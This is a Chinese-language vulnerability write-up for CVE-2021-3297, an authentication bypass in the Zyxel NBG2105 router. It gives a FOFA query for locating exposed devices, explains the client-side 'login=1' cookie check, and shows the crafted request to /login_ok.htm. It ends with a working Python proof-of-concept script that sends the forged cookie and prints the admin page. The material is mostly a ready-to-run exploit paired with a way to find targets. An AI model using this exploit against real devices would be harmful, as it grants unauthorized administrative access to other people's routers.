2022-02-20 16:14:31 +08:00
|
|
|
|
# Zyxel NBG2105 身份验证绕过 CVE-2021-3297
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
|
|
Zyxel NBG2105 存在身份验证绕过，攻击者通过更改 login参数可用实现后台登陆
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Zyxel NBG2105
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
app="ZyXEL-NBG2105"
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
登录页面如下
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
其中前端文件 **/js/util_gw.js** 存在前端对 Cookie login参数的校验
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
可以看到检测到 Cookie中的 **login=1** 则跳转 home.html
|
|
|
|
|
|
|
|
|
|
|
|
```plain
|
|
|
|
|
|
function setCookie() //login_ok.htm use
|
|
|
|
|
|
{
|
|
|
|
|
|
document.cookie="login=1";
|
|
|
|
|
|
MM_goToURL('parent', 'home.htm');
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
请求如下则会以管理员身份跳转到 **home.htm页面**
|
|
|
|
|
|
|
|
|
|
|
|
```plain
|
|
|
|
|
|
http://xxx.xxx.xxx.xxx/login_ok.htm
|
|
|
|
|
|
|
|
|
|
|
|
Cookie: login=1;
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2022-05-24 17:30:45 +08:00
|
|
|
|
## 漏洞POC
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
# python3
|
|
|
|
|
|
import requests
|
|
|
|
|
|
import sys
|
|
|
|
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def poc(url):
|
|
|
|
|
|
exp = url + "/login_ok.htm"
|
|
|
|
|
|
|
|
|
|
|
|
header = {
|
|
|
|
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
|
|
|
|
|
"cookie":"login=1",
|
|
|
|
|
|
}
|
|
|
|
|
|
try:
|
|
|
|
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
|
|
response = requests.get(url=exp, headers=header, verify=False,timeout=10)
|
|
|
|
|
|
#print(response.text)
|
|
|
|
|
|
if response.status_code == 200 and "GMT" in response.text:
|
|
|
|
|
|
print(exp + " 存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞！！！")
|
|
|
|
|
|
print("数据信息如下：")
|
|
|
|
|
|
print(response.text)
|
|
|
|
|
|
else:
|
|
|
|
|
|
print(exp + " 不存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞！！！")
|
|
|
|
|
|
except Exception as e:
|
|
|
|
|
|
print(exp + "请求失败！！")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def main():
|
|
|
|
|
|
url = str(input("请输入目标url："))
|
|
|
|
|
|
poc(url)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
|
|
main()
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-02-20 16:14:31 +08:00
|
|
|
|
## 参考文章
|
|
|
|
|
|
|
2022-05-24 17:30:45 +08:00
|
|
|
|
https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
|
|
|
|
|
|
|
